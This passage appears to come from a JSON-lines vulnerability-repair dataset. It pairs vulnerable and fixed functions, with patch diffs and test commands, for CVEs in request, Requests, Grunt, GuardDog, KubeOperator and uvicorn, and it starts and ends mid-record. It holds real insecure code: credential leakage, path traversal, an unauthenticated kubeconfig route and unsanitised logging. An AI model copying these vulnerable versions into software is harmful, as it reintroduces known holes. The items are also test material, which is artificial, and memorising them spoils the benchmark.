url.resolve(request.uri.href, redirectTo)\n    }\n\n    var uriPrev = request.uri\n    request.uri = url.parse(redirectTo)\n\n    // handle the case where we change protocol from https to http or vice versa\n    if (request.uri.protocol !== uriPrev.protocol && self.allowInsecureRedirect) {\n      delete request.agent\n    }\n\n    self.redirects.push({ statusCode: response.statusCode, redirectUri: redirectTo })\n\n    if (self.followAllRedirects && request.method !== 'HEAD' &&\n      response.statusCode !== 401 && response.statusCode !== 307) {\n      request.method = self.followOriginalHttpMethod ? request.method : 'GET'\n    }\n    // request.method = 'GET' // Force all redirects to use GET || commented out fixes #215\n    delete request.src\n    delete request.req\n    delete request._started\n    if (response.statusCode !== 401 && response.statusCode !== 307) {\n      // Remove parameters from the previous response, unless this is the second request\n      // for a server that requires digest authentication.\n      delete request.body\n      delete request._form\n      if (request.headers) {\n        request.removeHeader('host')\n        request.removeHeader('content-type')\n        request.removeHeader('content-length')\n        if (request.uri.hostname !== request.originalHost.split(':')[0]) {\n          // Remove authorization if changing hostnames (but not if just\n          // changing ports or protocols).  This matches the behavior of curl:\n          // https://github.com/bagder/curl/blob/6beb0eee/lib/http.c#L710\n          request.removeHeader('authorization')\n        }\n      }\n    }\n\n    if (!self.removeRefererHeader) {\n      request.setHeader('referer', uriPrev.href)\n    }\n\n    request.emit('redirect')\n    request.init()\n    callback(null, true)\n  }"}], "vul_patch": "--- a/lib/redirect.js\n+++ b/lib/redirect.js\n@@ -28,7 +28,7 @@\n     request.uri = url.parse(redirectTo)\n \n     // handle the case where we change protocol from https to http or vice versa\n-    if (request.uri.protocol !== uriPrev.protocol) {\n+    if (request.uri.protocol !== uriPrev.protocol && self.allowInsecureRedirect) {\n       delete request.agent\n     }\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-28155:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/request\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tape -f 'http to https redirect should fail' tests/test-redirect.js\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-47081", "cve_description": "Requests is a HTTP library. Due to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs. Users should upgrade to version 2.32.4 to receive a fix. For older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on one's Requests Session.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/psf/requests", "patch_url": ["https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"], "programing_language": "Python", "vul_func": [{"id": "vul_py_74_1", "commit": "7341690", "file_path": "src/requests/utils.py", "start_line": "207", "end_line": "261", "snippet": "def get_netrc_auth(url, raise_errors=False):\n    \"\"\"Returns the Requests tuple auth for a given url from netrc.\"\"\"\n\n    netrc_file = os.environ.get(\"NETRC\")\n    if netrc_file is not None:\n        netrc_locations = (netrc_file,)\n    else:\n        netrc_locations = (f\"~/{f}\" for f in NETRC_FILES)\n\n    try:\n        from netrc import NetrcParseError, netrc\n\n        netrc_path = None\n\n        for f in netrc_locations:\n            try:\n                loc = os.path.expanduser(f)\n            except KeyError:\n                # os.path.expanduser can fail when $HOME is undefined and\n                # getpwuid fails. See https://bugs.python.org/issue20164 &\n                # https://github.com/psf/requests/issues/1846\n                return\n\n            if os.path.exists(loc):\n                netrc_path = loc\n                break\n\n        # Abort early if there isn't one.\n        if netrc_path is None:\n            return\n\n        ri = urlparse(url)\n\n        # Strip port numbers from netloc. This weird `if...encode`` dance is\n        # used for Python 3.2, which doesn't support unicode literals.\n        splitstr = b\":\"\n        if isinstance(url, str):\n            splitstr = splitstr.decode(\"ascii\")\n        host = ri.netloc.split(splitstr)[0]\n\n        try:\n            _netrc = netrc(netrc_path).authenticators(host)\n            if _netrc:\n                # Return with login / password\n                login_i = 0 if _netrc[0] else 1\n                return (_netrc[login_i], _netrc[2])\n        except (NetrcParseError, OSError):\n            # If there was a parsing error or a permissions issue reading the file,\n            # we'll just skip netrc auth unless explicitly asked to raise errors.\n            if raise_errors:\n                raise\n\n    # App Engine hackiness.\n    except (ImportError, AttributeError):\n        pass"}], "fix_func": [{"id": "fix_py_74_1", "commit": "96ba401", "file_path": "src/requests/utils.py", "start_line": "207", "end_line": "255", "snippet": "def get_netrc_auth(url, raise_errors=False):\n    \"\"\"Returns the Requests tuple auth for a given url from netrc.\"\"\"\n\n    netrc_file = os.environ.get(\"NETRC\")\n    if netrc_file is not None:\n        netrc_locations = (netrc_file,)\n    else:\n        netrc_locations = (f\"~/{f}\" for f in NETRC_FILES)\n\n    try:\n        from netrc import NetrcParseError, netrc\n\n        netrc_path = None\n\n        for f in netrc_locations:\n            try:\n                loc = os.path.expanduser(f)\n            except KeyError:\n                # os.path.expanduser can fail when $HOME is undefined and\n                # getpwuid fails. See https://bugs.python.org/issue20164 &\n                # https://github.com/psf/requests/issues/1846\n                return\n\n            if os.path.exists(loc):\n                netrc_path = loc\n                break\n\n        # Abort early if there isn't one.\n        if netrc_path is None:\n            return\n\n        ri = urlparse(url)\n        host = ri.hostname\n\n        try:\n            _netrc = netrc(netrc_path).authenticators(host)\n            if _netrc:\n                # Return with login / password\n                login_i = 0 if _netrc[0] else 1\n                return (_netrc[login_i], _netrc[2])\n        except (NetrcParseError, OSError):\n            # If there was a parsing error or a permissions issue reading the file,\n            # we'll just skip netrc auth unless explicitly asked to raise errors.\n            if raise_errors:\n                raise\n\n    # App Engine hackiness.\n    except (ImportError, AttributeError):\n        pass"}], "vul_patch": "--- a/src/requests/utils.py\n+++ b/src/requests/utils.py\n@@ -30,13 +30,7 @@\n             return\n \n         ri = urlparse(url)\n-\n-        # Strip port numbers from netloc. This weird `if...encode`` dance is\n-        # used for Python 3.2, which doesn't support unicode literals.\n-        splitstr = b\":\"\n-        if isinstance(url, str):\n-            splitstr = splitstr.decode(\"ascii\")\n-        host = ri.netloc.split(splitstr)[0]\n+        host = ri.hostname\n \n         try:\n             _netrc = netrc(netrc_path).authenticators(host)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0436", "cve_description": "Path Traversal in GitHub repository gruntjs/grunt prior to 1.5.2.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gruntjs/grunt", "patch_url": ["https://github.com/gruntjs/grunt/commit/b0ec6e12426fc8d5720dee1702f6a67455c5986c", "https://github.com/gruntjs/grunt/commit/aad3d4521c3098fb255fb2db8f2e1d691a033665"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_46_1", "commit": "fdc7056", "file_path": "lib/grunt/file.js", "start_line": 295, "end_line": 308, "snippet": "file.copy = function copy(srcpath, destpath, options) {\n  if (file.isDir(srcpath)) {\n    // Copy a directory, recursively.\n    // Explicitly create new dest directory.\n    file.mkdir(destpath);\n    // Iterate over all sub-files/dirs, recursing.\n    fs.readdirSync(srcpath).forEach(function(filepath) {\n      copy(path.join(srcpath, filepath), path.join(destpath, filepath), options);\n    });\n  } else {\n    // Copy a single file.\n    file._copy(srcpath, destpath, options);\n  }\n};"}], "fix_func": [{"id": "fix_js_46_1", "commit": "aad3d45", "file_path": "lib/grunt/file.js", "start_line": 296, "end_line": 311, "snippet": "file.copy = function copy(srcpath, destpath, options) {\n  if (file._isSymbolicLink(srcpath)) {\n    file._copySymbolicLink(srcpath, destpath);\n  } else if (file.isDir(srcpath)) {\n    // Copy a directory, recursively.\n    // Explicitly create new dest directory.\n    file.mkdir(destpath);\n    // Iterate over all sub-files/dirs, recursing.\n    fs.readdirSync(srcpath).forEach(function(filepath) {\n      copy(path.join(srcpath, filepath), path.join(destpath, filepath), options);\n    });\n  } else {\n    // Copy a single file.\n    file._copy(srcpath, destpath, options);\n  }\n};"}, {"id": "fix_js_46_2", "commit": "aad3d45", "file_path": "lib/grunt/file.js", "start_line": 455, "end_line": 471, "snippet": "file._isSymbolicLink = function() {\n  var filepath = path.join.apply(path, arguments);\n  return fs.lstatSync(filepath).isSymbolicLink();\n};\n\nfile._copySymbolicLink = function(srcpath, destpath) {\n  var destdir = path.join(destpath, '..');\n  var fileBase = path.basename(srcpath);\n  // Use the correct relative path for the symlink\n  if (!grunt.file.isPathAbsolute(srcpath)) {\n    srcpath = path.relative(destdir, srcpath) || '.';\n  }\n  file.mkdir(destdir);\n  var mode = grunt.file.isDir(srcpath) ? 'dir' : 'file';\n  var destpath = path.join(destpath, fileBase);\n  return fs.symlinkSync(srcpath, destpath, mode);\n};"}], "vul_patch": "--- a/lib/grunt/file.js\n+++ b/lib/grunt/file.js\n@@ -1,5 +1,7 @@\n file.copy = function copy(srcpath, destpath, options) {\n-  if (file.isDir(srcpath)) {\n+  if (file._isSymbolicLink(srcpath)) {\n+    file._copySymbolicLink(srcpath, destpath);\n+  } else if (file.isDir(srcpath)) {\n     // Copy a directory, recursively.\n     // Explicitly create new dest directory.\n     file.mkdir(destpath);\n\n--- /dev/null\n+++ b/lib/grunt/file.js\n@@ -0,0 +1,17 @@\n+file._isSymbolicLink = function() {\n+  var filepath = path.join.apply(path, arguments);\n+  return fs.lstatSync(filepath).isSymbolicLink();\n+};\n+\n+file._copySymbolicLink = function(srcpath, destpath) {\n+  var destdir = path.join(destpath, '..');\n+  var fileBase = path.basename(srcpath);\n+  // Use the correct relative path for the symlink\n+  if (!grunt.file.isPathAbsolute(srcpath)) {\n+    srcpath = path.relative(destdir, srcpath) || '.';\n+  }\n+  file.mkdir(destdir);\n+  var mode = grunt.file.isDir(srcpath) ? 'dir' : 'file';\n+  var destpath = path.join(destpath, fileBase);\n+  return fs.symlinkSync(srcpath, destpath, mode);\n+};\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0436:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/grunt\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode bin/grunt test\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-23530", "cve_description": "GuardDog is a CLI tool to identify malicious PyPI packages. Versions prior to v0.1.8 are vulnerable to arbitrary file write when scanning a specially-crafted remote PyPI package. Extracting files using shutil.unpack_archive() from a potentially malicious tarball without validating that the destination file path is within the intended destination directory can cause files outside the destination directory to be overwritten.  This issue is patched in version 0.1.8. Potential workarounds include using a safer module, like zipfile, and validating the location of the extracted files and discarding those with malicious paths.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/DataDog/guarddog", "patch_url": ["https://github.com/DataDog/guarddog/commit/37c7d0767ba28f4df46117d478f97652594c491c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_194_1", "commit": "8e814de", "file_path": "guarddog/scanners/package_scanner.py", "start_line": 149, "end_line": 164, "snippet": "    def download_compressed(self, url, zippath, unzippedpath):\n        \"\"\"Downloads a compressed file and extracts it\n\n        Args:\n            url (str): download link\n            zippath (str): path to download compressed file\n            unzippedpath (str): path to unzip compressed file\n        \"\"\"\n\n        response = requests.get(url, stream=True)\n\n        with open(zippath, \"wb\") as f:\n            f.write(response.raw.read())\n\n        shutil.unpack_archive(zippath, unzippedpath)\n        os.remove(zippath)"}], "fix_func": [{"id": "fix_py_194_1", "commit": "37c7d07", "file_path": "guarddog/scanners/package_scanner.py", "start_line": 148, "end_line": 166, "snippet": "    def download_compressed(self, url, zippath, unzippedpath):\n        \"\"\"Downloads a compressed file and extracts it\n\n        Args:\n            url (str): download link\n            zippath (str): path to download compressed file\n            unzippedpath (str): path to unzip compressed file\n        \"\"\"\n\n        response = requests.get(url, stream=True)\n\n        with open(zippath, \"wb\") as f:\n            f.write(response.raw.read())\n\n        if zippath.endswith('.tar.gz'):\n            tarsafe.open(zippath).extractall(unzippedpath)\n            os.remove(zippath)\n        else:\n            raise ValueError(\"unsupported archive extension: \" + zippath)"}], "vul_patch": "--- a/guarddog/scanners/package_scanner.py\n+++ b/guarddog/scanners/package_scanner.py\n@@ -12,5 +12,8 @@\n         with open(zippath, \"wb\") as f:\n             f.write(response.raw.read())\n \n-        shutil.unpack_archive(zippath, unzippedpath)\n-        os.remove(zippath)\n+        if zippath.endswith('.tar.gz'):\n+            tarsafe.open(zippath).extractall(unzippedpath)\n+            os.remove(zippath)\n+        else:\n+            raise ValueError(\"unsupported archive extension: \" + zippath)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-22480", "cve_description": "KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.\n", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/KubeOperator/KubeOperator", "patch_url": ["https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_54_1", "commit": "8205703", "file_path": "pkg/router/v1/v1api.go", "start_line": 20, "end_line": 74, "snippet": "func V1(parent iris.Party) {\n\tv1 := parent.Party(\"/v1\")\n\tauthParty := v1.Party(\"/auth\")\n\tmvc.New(authParty.Party(\"/session\")).HandleError(ErrorHandler).Handle(controller.NewSessionController())\n\tmvc.New(v1.Party(\"/user\")).HandleError(ErrorHandler).Handle(controller.NewForgotPasswordController())\n\tAuthScope = v1.Party(\"/\")\n\tAuthScope.Use(middleware.JWTMiddleware().Serve)\n\tAuthScope.Use(middleware.UserMiddleware)\n\tAuthScope.Use(middleware.RBACMiddleware())\n\tAuthScope.Use(middleware.PagerMiddleware)\n\tAuthScope.Use(middleware.ForceMiddleware)\n\tmvc.New(AuthScope.Party(\"/clusters\")).HandleError(ErrorHandler).Handle(controller.NewClusterController())\n\tmvc.New(AuthScope.Party(\"/credentials\")).HandleError(ErrorHandler).Handle(controller.NewCredentialController())\n\tmvc.New(AuthScope.Party(\"/hosts\")).HandleError(ErrorHandler).Handle(controller.NewHostController())\n\tmvc.New(AuthScope.Party(\"/users\")).HandleError(ErrorHandler).Handle(controller.NewUserController())\n\tmvc.New(AuthScope.Party(\"/dashboard\")).HandleError(ErrorHandler).Handle(controller.NewKubePiController())\n\tmvc.New(AuthScope.Party(\"/regions\")).HandleError(ErrorHandler).Handle(controller.NewRegionController())\n\tmvc.New(AuthScope.Party(\"/zones\")).HandleError(ErrorHandler).Handle(controller.NewZoneController())\n\tmvc.New(AuthScope.Party(\"/plans\")).HandleError(ErrorHandler).Handle(controller.NewPlanController())\n\tmvc.New(AuthScope.Party(\"/settings\")).HandleError(ErrorHandler).Handle(controller.NewSystemSettingController())\n\tmvc.New(AuthScope.Party(\"/ntp\")).HandleError(ErrorHandler).Handle(controller.NewNtpServerController())\n\tmvc.New(AuthScope.Party(\"/logs\")).HandleError(ErrorHandler).Handle(controller.NewSystemLogController())\n\tmvc.New(AuthScope.Party(\"/projects\")).HandleError(ErrorHandler).Handle(controller.NewProjectController())\n\tmvc.New(AuthScope.Party(\"/clusters/provisioner\")).HandleError(ErrorHandler).Handle(controller.NewProvisionerController())\n\tmvc.New(AuthScope.Party(\"/kubernetes\")).HandleError(ErrorHandler).Handle(controller.NewKubernetesController())\n\tmvc.New(AuthScope.Party(\"/clusters/tool\")).HandleError(ErrorHandler).Handle(controller.NewClusterToolController())\n\tmvc.New(AuthScope.Party(\"/backupaccounts\")).HandleError(ErrorHandler).Handle(controller.NewBackupAccountController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupStrategyController())\n\tmvc.New(AuthScope.Party(\"/clusters/monitor\")).HandleError(ErrorHandler).Handle(controller.NewMonitorController())\n\tmvc.New(AuthScope.Party(\"/tasks\")).Handle(ErrorHandler).Handle(controller.NewTaskLogController())\n\tmvc.New(AuthScope.Party(\"/components\")).Handle(ErrorHandler).Handle(controller.NewComponentController())\n\tmvc.New(AuthScope.Party(\"/license\")).Handle(ErrorHandler).Handle(controller.NewLicenseController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup/files\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupFileController())\n\tmvc.New(AuthScope.Party(\"/clusters/velero/{cluster}/{operate}\")).HandleError(ErrorHandler).Handle(controller.NewClusterVeleroBackupController())\n\tmvc.New(AuthScope.Party(\"/manifests\")).HandleError(ErrorHandler).Handle(controller.NewManifestController())\n\tmvc.New(AuthScope.Party(\"/vmconfigs\")).HandleError(ErrorHandler).Handle(controller.NewVmConfigController())\n\tmvc.New(AuthScope.Party(\"/ippools\")).HandleError(ErrorHandler).Handle(controller.NewIpPoolController())\n\tmvc.New(AuthScope.Party(\"/ippools/{name}/ips\")).HandleError(ErrorHandler).Handle(controller.NewIpController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/resources\")).HandleError(ErrorHandler).Handle(controller.NewProjectResourceController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/members\")).HandleError(ErrorHandler).Handle(controller.NewProjectMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/members\")).HandleError(ErrorHandler).Handle(controller.NewClusterMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/resources\")).HandleError(ErrorHandler).Handle(controller.NewClusterResourceController())\n\tmvc.New(AuthScope.Party(\"/templates\")).HandleError(ErrorHandler).Handle(controller.NewTemplateConfigController())\n\tmvc.New(AuthScope.Party(\"/clusters/grade\")).HandleError(ErrorHandler).Handle(controller.NewGradeController())\n\tmvc.New(AuthScope.Party(\"/ldap\")).HandleError(ErrorHandler).Handle(controller.NewLdapController())\n\tmvc.New(AuthScope.Party(\"/msg/accounts\")).HandleError(ErrorHandler).Handle(controller.NewMessageAccountController())\n\tmvc.New(AuthScope.Party(\"/msg/subscribes\")).HandleError(ErrorHandler).Handle(controller.NewMessageSubscribeController())\n\tmvc.New(AuthScope.Party(\"/user/messages\")).HandleError(ErrorHandler).Handle(controller.NewUserMsgController())\n\tmvc.New(AuthScope.Party(\"/user/settings\")).HandleError(ErrorHandler).Handle(controller.NewUserSettingController())\n\tWhiteScope = v1.Party(\"/\")\n\tWhiteScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n\tWhiteScope.Get(\"/captcha\", generateCaptcha)\n\tmvc.New(WhiteScope.Party(\"/theme\")).HandleError(ErrorHandler).Handle(controller.NewThemeController())\n\n}"}], "fix_func": [{"id": "fix_go_54_1", "commit": "7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf", "file_path": "pkg/router/v1/v1api.go", "start_line": 20, "end_line": 74, "snippet": "func V1(parent iris.Party) {\n\tv1 := parent.Party(\"/v1\")\n\tauthParty := v1.Party(\"/auth\")\n\tmvc.New(authParty.Party(\"/session\")).HandleError(ErrorHandler).Handle(controller.NewSessionController())\n\tmvc.New(v1.Party(\"/user\")).HandleError(ErrorHandler).Handle(controller.NewForgotPasswordController())\n\tAuthScope = v1.Party(\"/\")\n\tAuthScope.Use(middleware.JWTMiddleware().Serve)\n\tAuthScope.Use(middleware.UserMiddleware)\n\tAuthScope.Use(middleware.RBACMiddleware())\n\tAuthScope.Use(middleware.PagerMiddleware)\n\tAuthScope.Use(middleware.ForceMiddleware)\n\tmvc.New(AuthScope.Party(\"/clusters\")).HandleError(ErrorHandler).Handle(controller.NewClusterController())\n\tmvc.New(AuthScope.Party(\"/credentials\")).HandleError(ErrorHandler).Handle(controller.NewCredentialController())\n\tmvc.New(AuthScope.Party(\"/hosts\")).HandleError(ErrorHandler).Handle(controller.NewHostController())\n\tmvc.New(AuthScope.Party(\"/users\")).HandleError(ErrorHandler).Handle(controller.NewUserController())\n\tmvc.New(AuthScope.Party(\"/dashboard\")).HandleError(ErrorHandler).Handle(controller.NewKubePiController())\n\tmvc.New(AuthScope.Party(\"/regions\")).HandleError(ErrorHandler).Handle(controller.NewRegionController())\n\tmvc.New(AuthScope.Party(\"/zones\")).HandleError(ErrorHandler).Handle(controller.NewZoneController())\n\tmvc.New(AuthScope.Party(\"/plans\")).HandleError(ErrorHandler).Handle(controller.NewPlanController())\n\tmvc.New(AuthScope.Party(\"/settings\")).HandleError(ErrorHandler).Handle(controller.NewSystemSettingController())\n\tmvc.New(AuthScope.Party(\"/ntp\")).HandleError(ErrorHandler).Handle(controller.NewNtpServerController())\n\tmvc.New(AuthScope.Party(\"/logs\")).HandleError(ErrorHandler).Handle(controller.NewSystemLogController())\n\tmvc.New(AuthScope.Party(\"/projects\")).HandleError(ErrorHandler).Handle(controller.NewProjectController())\n\tmvc.New(AuthScope.Party(\"/clusters/provisioner\")).HandleError(ErrorHandler).Handle(controller.NewProvisionerController())\n\tmvc.New(AuthScope.Party(\"/kubernetes\")).HandleError(ErrorHandler).Handle(controller.NewKubernetesController())\n\tmvc.New(AuthScope.Party(\"/clusters/tool\")).HandleError(ErrorHandler).Handle(controller.NewClusterToolController())\n\tmvc.New(AuthScope.Party(\"/backupaccounts\")).HandleError(ErrorHandler).Handle(controller.NewBackupAccountController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupStrategyController())\n\tmvc.New(AuthScope.Party(\"/clusters/monitor\")).HandleError(ErrorHandler).Handle(controller.NewMonitorController())\n\tmvc.New(AuthScope.Party(\"/tasks\")).Handle(ErrorHandler).Handle(controller.NewTaskLogController())\n\tmvc.New(AuthScope.Party(\"/components\")).Handle(ErrorHandler).Handle(controller.NewComponentController())\n\tmvc.New(AuthScope.Party(\"/license\")).Handle(ErrorHandler).Handle(controller.NewLicenseController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup/files\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupFileController())\n\tmvc.New(AuthScope.Party(\"/clusters/velero/{cluster}/{operate}\")).HandleError(ErrorHandler).Handle(controller.NewClusterVeleroBackupController())\n\tmvc.New(AuthScope.Party(\"/manifests\")).HandleError(ErrorHandler).Handle(controller.NewManifestController())\n\tmvc.New(AuthScope.Party(\"/vmconfigs\")).HandleError(ErrorHandler).Handle(controller.NewVmConfigController())\n\tmvc.New(AuthScope.Party(\"/ippools\")).HandleError(ErrorHandler).Handle(controller.NewIpPoolController())\n\tmvc.New(AuthScope.Party(\"/ippools/{name}/ips\")).HandleError(ErrorHandler).Handle(controller.NewIpController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/resources\")).HandleError(ErrorHandler).Handle(controller.NewProjectResourceController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/members\")).HandleError(ErrorHandler).Handle(controller.NewProjectMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/members\")).HandleError(ErrorHandler).Handle(controller.NewClusterMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/resources\")).HandleError(ErrorHandler).Handle(controller.NewClusterResourceController())\n\tmvc.New(AuthScope.Party(\"/templates\")).HandleError(ErrorHandler).Handle(controller.NewTemplateConfigController())\n\tmvc.New(AuthScope.Party(\"/clusters/grade\")).HandleError(ErrorHandler).Handle(controller.NewGradeController())\n\tmvc.New(AuthScope.Party(\"/ldap\")).HandleError(ErrorHandler).Handle(controller.NewLdapController())\n\tmvc.New(AuthScope.Party(\"/msg/accounts\")).HandleError(ErrorHandler).Handle(controller.NewMessageAccountController())\n\tmvc.New(AuthScope.Party(\"/msg/subscribes\")).HandleError(ErrorHandler).Handle(controller.NewMessageSubscribeController())\n\tmvc.New(AuthScope.Party(\"/user/messages\")).HandleError(ErrorHandler).Handle(controller.NewUserMsgController())\n\tmvc.New(AuthScope.Party(\"/user/settings\")).HandleError(ErrorHandler).Handle(controller.NewUserSettingController())\n\tAuthScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n\tWhiteScope = v1.Party(\"/\")\n\tWhiteScope.Get(\"/captcha\", generateCaptcha)\n\tmvc.New(WhiteScope.Party(\"/theme\")).HandleError(ErrorHandler).Handle(controller.NewThemeController())\n\n}"}], "vul_patch": "--- a/pkg/router/v1/v1api.go\n+++ b/pkg/router/v1/v1api.go\n@@ -47,8 +47,8 @@\n \tmvc.New(AuthScope.Party(\"/msg/subscribes\")).HandleError(ErrorHandler).Handle(controller.NewMessageSubscribeController())\n \tmvc.New(AuthScope.Party(\"/user/messages\")).HandleError(ErrorHandler).Handle(controller.NewUserMsgController())\n \tmvc.New(AuthScope.Party(\"/user/settings\")).HandleError(ErrorHandler).Handle(controller.NewUserSettingController())\n+\tAuthScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n \tWhiteScope = v1.Party(\"/\")\n-\tWhiteScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n \tWhiteScope.Get(\"/captcha\", generateCaptcha)\n \tmvc.New(WhiteScope.Party(\"/theme\")).HandleError(ErrorHandler).Handle(controller.NewThemeController())\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-22480:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/KubeOperator\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo mod tidy\ngo test  -timeout 30s -run ^Test_CVE_2023_22480_Kubeconfig_Access_Control$ github.com/KubeOperator/KubeOperator/pkg/router/v1\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-7694", "cve_description": "This affects all versions of package uvicorn. The request logger provided by the package is vulnerable to ASNI escape sequence injection. Whenever any HTTP request is received, the default behaviour of uvicorn is to log its details to either the console or a log file. When attackers request crafted URLs with percent-encoded escape sequences, the logging component will log the URL after it's been processed with urllib.parse.unquote, therefore converting any percent-encoded characters into their single-character equivalent, which can have special meaning in terminal emulators. By requesting URLs with crafted paths, attackers can: * Pollute uvicorn's access logs, therefore jeopardising the integrity of such files. * Use ANSI sequence codes to attempt to interact with the terminal emulator that's displaying the logs (either in real time or from a file).", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/encode/uvicorn", "patch_url": ["https://github.com/encode/uvicorn/commit/895807f94ea9a8e588605c12076b7d7517cda503"], "programing_language": "Python", "vul_func": [{"id": "vul_py_172_1", "commit": "789e2f1", "file_path": "uvicorn/logging.py", "start_line": 79, "end_line": 80, "snippet": "    def get_path(self, scope):\n        return scope.get(\"root_path\", \"\") + scope[\"path\"]"}, {"id": "vul_py_172_2", "commit": "789e2f1", "file_path": "uvicorn/logging.py", "start_line": 82, "end_line": 87, "snippet": "    def get_full_path(self, scope):\n        path = scope.get(\"root_path\", \"\") + scope[\"path\"]\n        query_string = scope.get(\"query_string\", b\"\").decode(\"ascii\")\n        if query_string:\n            return path + \"?\" + query_string\n        return path"}, {"id": "vul_py_172_3", "commit": "789e2f1", "file_path": "uvicorn/protocols/utils.py", "start_line": 51, "end_line": 57, "snippet": "def get_path_with_query_string(scope):\n    path_with_query_string = scope.get(\"root_path\", \"\") + scope[\"path\"]\n    if scope[\"query_string\"]:\n        path_with_query_string = \"{}?{}\".format(\n            path_with_query_string, scope[\"query_string\"].decode(\"ascii\")\n        )\n    return path_with_query_string"}], "fix_func": [{"id": "fix_py_172_1", "commit": "895807f", "file_path": "uvicorn/logging.py", "start_line": 80, "end_line": 81, "snippet": "    def get_path(self, scope):\n        return urllib.parse.quote(scope.get(\"root_path\", \"\") + scope[\"path\"])"}, {"id": "fix_py_172_2", "commit": "895807f", "file_path": "uvicorn/logging.py", "start_line": 83, "end_line": 88, "snippet": "    def get_full_path(self, scope):\n        path = scope.get(\"root_path\", \"\") + scope[\"path\"]\n        query_string = scope.get(\"query_string\", b\"\").decode(\"ascii\")\n        if query_string:\n            return urllib.parse.quote(path) + \"?\" + query_string\n        return 